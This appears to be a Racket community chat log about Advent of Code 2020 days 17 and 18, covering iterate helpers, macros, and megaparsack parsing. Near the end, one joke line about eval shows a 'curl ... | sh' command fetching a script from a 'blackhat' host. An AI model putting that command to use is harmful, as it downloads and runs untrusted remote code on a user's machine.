
Anyone have anything interesting for Day 17?

I wasn’t particularly inspired by this puzzle, so I just tried to <https://github.com/lojic/LearningRacket/blob/master/advent-of-code–2020/day17.rkt|maximize commonality> between the parts, but I liked for*/hash
and for*/sum
too much to factor them out properly :)

I was mildly amused using: (hash-count (cycle (cycle (cycle (cycle (cycle (cycle (car lst))))))))

Nah, that was goofy, so I stole @jonathanhwchan’s iterate
idea. I was surprised I couldn’t find it, or something similar, in the Racket. Simple enough to write, but it does seem like it should be a built-in.

Yeah I was expecting to find something like it in racket/function but nope An analogue is in Haskell’s Prelude, except it returns a list of the iterations

I picked up a second tip from you @jonathanhwchan, and was able to <https://github.com/lojic/LearningRacket/blob/master/advent-of-code–2020/day17.rkt|factor out the common code> to get down to 32 sloc (not including the two check-equal?
lines). Woot :)

@badkins that’s pretty much what i did. The only thing i changed between part1 and part2 was making my coordinate struct generic for dimensions

I didn’t have to change any of the GOL specific code after i implemented the basic operations for me coordinate struct

Are you pushing to github @me1890 ?

I am not currently, but i can do that

I am keeping my code on a private git server right now

Checking out other approaches is the best thing about AoC :)

I wouldn’t look for quality code from me, but you’re free to have a look. :slightly_smiling_face:

I expect many (most?) of us aren’t creating professional quality solutions.

Well, i’m using the advent of code to learn racket, so i expect most other people to at least have better code

AoC is great for learning Racket. I’ve been coding Racket pretty much full time for a couple years, and I’ve added a number of things to my tool belt through the challenge.

One never stops learning Racket :racket-flat:

I need the equivalent of AoC for syntax extensions :)


The most significant thing i’ve done i think is my extension to pattern matching that is very convenient for parsing (search for ~>number
)

It’s probably abuse of the pattern matching system though :smile:

I have to say though, Racket’s pattern matching system is very powerful in comparison to some of the other ones I’ve used. I quite enjoy it.

And now: a macro-based solution that generalizes to arbitrary dimensions! https://github.com/ionathanch/adventofcode-2020/blob/main/src/17-macro.rkt

w/ big thamk to haskal for helping me figure out a bunch of macro bits

I imagine the macro solution is quite a bit faster than without? I converted my part1 to lists for part2 to generalize; I did optimize the set of points to be checked by not doing duplicate neighbors like I was previously. But I imagine the macros get you closer to a constant time operation on many things.

Nice!

Peeked at the code; ignore my comment :stuck_out_tongue: I thought the macros were to create general n-dim point structures; they are not

Oh yeah, I just shoved my existing solution into a macro to generate as many for loops as I need


hhh this is the first time i have ever had nonzero global score,,,

day 18 spoilers

wow

I’m not even done writing my parsing code yet

parser-tools lol that’s literally how i got this rank

lol

i broke my part 1 to make part 2 work (1 line change lol) so i’m currently trying to make both work at the same time,

I was like oh if only it were an s-expression so I made it so https://github.com/ionathanch/adventofcode-2020/blob/main/src/18.rkt

real quick, does anyone know how to have mutually recursive variables and not procedures?

need a mutually recursive megaparsack parser

for now i am just redefining them as 0-arity procedures but

not good

(actually, it’s very not good. and when i say that i mean non-terminating.)

let-rec?

https://git.lain.faith/haskal/aoc2020/src/branch/aoc2020/18.rkt here we go. i formalized the change i made between part 1 and part2 as a macro :dragnmlem:

@jonathanhwchan i like yours you actually did it yourself and didn’t just import solution

I had the same solution as you @jonathanhwchan

well, functionally the same

I think my code for part 1 was a little nicer though

I turned it into an s-expr then evaled it

[hands u a (system "curl <https://blackhat.solutions/lol.sh> \| sh")
]

what does that do?

I think there is a lazy/p
parser that allows that.

Yeah there is lazy/p
it does seem to be undocumented though. https://github.com/lexi-lambda/megaparsack/blob/master/megaparsack-lib/megaparsack/base.rkt#L210